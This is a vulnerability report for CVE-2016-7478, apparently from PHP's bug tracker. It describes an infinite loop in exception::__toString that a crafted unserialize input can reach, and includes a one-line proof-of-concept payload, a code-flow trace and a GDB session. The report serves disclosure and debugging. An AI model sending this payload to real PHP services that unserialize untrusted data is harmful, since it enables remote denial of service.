CVE-2016-7478
Information
Crafting speacial input to unserialize may cause exception::__toString never to terminate.
If the exception “previous” property holds the original exception object (or any cyclic situation of that sort),
the loop in exception::__toString never terminates.
Since __toString is reachable from unserialize, this issue may lead to remote DoS.
This bug is closely related to bug #70121.
PoC
<?php
echo unserialize('O:9:"exception":1:{S:19:"\00Exception\00previous";r:1;}');
?>
expected result: script terminates.
result: script never terminates.
Code Flow (commit 01e798fa360bcd89980d1946503a8e0f8a2fd357)
Zend/zend_exceptions.c line 325: the exception object stores the 'previous' object, specified in unserialize
Zend/zend_exceptions.c line 692: there is the while loop that iterates over the chain of exceptions
Zend/zend_exceptions.c line 738: exception::__toString get's the 'previous' exception and branches back to the while loop
GDB
(gdb) b zim_exception___wakeup
Breakpoint 1 at 0x8fafe2: file /home/yannayl/sources/php-src/Zend/zend_exceptions.c, line 316.
(gdb) b zim_exception___toString
Breakpoint 2 at 0x9008f7: file /home/yannayl/sources/php-src/Zend/zend_exceptions.c, line 677.
(gdb) r infloop.php
Starting program: /home/yannayl/sources/php-src/sapi/cli/php infloop.php
Breakpoint 1, zim_exception___wakeup (execute_data=0x7ffff44130f0, return_value=0x7fffffff9aa0) at /home/yannayl/sources/php-src/Zend/zend_exceptions.c:316
316 {
(gdb) b 325
Breakpoint 3 at 0x8fb787: file /home/yannayl/sources/php-src/Zend/zend_exceptions.c, line 325.
(gdb) c
Continuing.
Breakpoint 3, zim_exception___wakeup (execute_data=0x7ffff44130f0, return_value=0x7fffffff9aa0) at /home/yannayl/sources/php-src/Zend/zend_exceptions.c:325
325 CHECK_EXC_TYPE(ZEND_STR_PREVIOUS, IS_OBJECT);
(gdb) n
326 }
(gdb) printzv object
[0x7ffff4413110] (refcount=3) object(Exception) #1 Hash(7)[0x7ffff4455380]: {
[0] => [0x7ffff445ca20] indirect: [0x7ffff4479028] (refcount=21) string:
[1] => [0x7ffff445ca40] indirect: [0x7ffff4479038] (refcount=21) string:
[2] => [0x7ffff445ca60] indirect: [0x7ffff4479048] long: 0
[3] => [0x7ffff445ca80] indirect: [0x7ffff4479058] (refcount=1) string: /home/yannayl/sources/php-src/infloop.php
[4] => [0x7ffff445caa0] indirect: [0x7ffff4479068] long: 3
[5] => [0x7ffff445cac0] indirect: [0x7ffff4479078] (refcount=1) array:
[6] => [0x7ffff445cae0] indirect: [0x7ffff4479088] (refcount=3) object(Exception) #1
}
(gdb) c
Continuing.
Breakpoint 2, zim_exception___toString (execute_data=0x7ffff4413090, return_value=0x7fffffff9f60) at /home/yannayl/sources/php-src/Zend/zend_exceptions.c:677
677 {
(gdb) b 693
Breakpoint 4 at 0x900ac7: file /home/yannayl/sources/php-src/Zend/zend_exceptions.c, line 693.
(gdb) c
Continuing.
Breakpoint 4, zim_exception___toString (execute_data=0x7ffff4413090, return_value=0x7fffffff9f60) at /home/yannayl/sources/php-src/Zend/zend_exceptions.c:693
693 zend_string *prev_str = str;
(gdb) print exception
$1 = (zval *) 0x7ffff44130b0
(gdb) l
688
689 exception = getThis();
690 fname = zend_string_init("gettraceasstring", sizeof("gettraceasstring")-1, 0);
691
692 while (exception && Z_TYPE_P(exception) == IS_OBJECT && instanceof_function(Z_OBJCE_P(exception), zend_ce_throwable)) {
693 zend_string *prev_str = str;
694 zend_string *message = zval_get_string(GET_PROPERTY(exception, ZEND_STR_MESSAGE));
695 zend_string *file = zval_get_string(GET_PROPERTY(exception, ZEND_STR_FILE));
696 zend_long line = zval_get_long(GET_PROPERTY(exception, ZEND_STR_LINE));
697
(gdb) c
Continuing.
Breakpoint 4, zim_exception___toString (execute_data=0x7ffff4413090, return_value=0x7fffffff9f60) at /home/yannayl/sources/php-src/Zend/zend_exceptions.c:693
693 zend_string *prev_str = str;
(gdb) p exception
$2 = (zval *) 0x7ffff4479088
(gdb) c
Continuing.
Breakpoint 4, zim_exception___toString (execute_data=0x7ffff4413090, return_value=0x7fffffff9f60) at /home/yannayl/sources/php-src/Zend/zend_exceptions.c:693
693 zend_string *prev_str = str;
(gdb) p exception
$3 = (zval *) 0x7ffff4479088
(gdb) c
Continuing.
Breakpoint 4, zim_exception___toString (execute_data=0x7ffff4413090, return_value=0x7fffffff9f60) at /home/yannayl/sources/php-src/Zend/zend_exceptions.c:693
693 zend_string *prev_str = str;
(gdb) p exception
$4 = (zval *) 0x7ffff4479088
(gdb) kill
References:
https://bugs.php.net/bug.php?id=73093